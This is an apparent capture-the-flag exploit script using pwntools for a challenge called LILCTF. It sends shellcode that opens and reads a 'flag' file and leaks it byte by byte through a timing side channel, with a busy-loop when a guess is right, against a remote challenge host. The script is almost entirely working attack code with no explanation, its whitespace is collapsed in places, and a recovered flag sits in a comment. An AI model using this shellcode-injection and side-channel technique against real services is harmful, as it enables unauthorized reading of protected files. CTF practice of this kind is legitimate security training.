from pwn import * context(os='linux', arch='amd64', log_level='debug') #p = process('./chtest') defpwn(offset, num): shellcode = asm(f''' push 2 pop rdi mov dword ptr [rsi], 0x67616c66 xor r10, r10 pop rdx pop rdx mov ax, 0x101 push rax syscall mov edi, eax xor eax, eax pop rdx syscall mov al, [rsi + {offset}] xor al, {num} jz $ ''') p.send(shellcode)
flag = 'LILCTF{'#ae0e# ae0eaee-277a5-42# #LILCTF{ae0e9aee-27a5-428c-af1e-bd7d510055d3} idx = len(flag) ch = "-}{qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM" whileTrue: for x in ch: #p = process('./chtest') p = remote("gz.imxbt.cn",20801) p.recvuntil(b"Now it's your show time\n") print(' flag -------------------------------------> '+flag+x) start = time.time() pwn(idx, ord(x)) p.can_recv(timeout=4) end = time.time() p.close() print(end-start) if end - start > 4: flag += x break if flag.endswith("}"): break idx += 1 print(flag) p.interactive()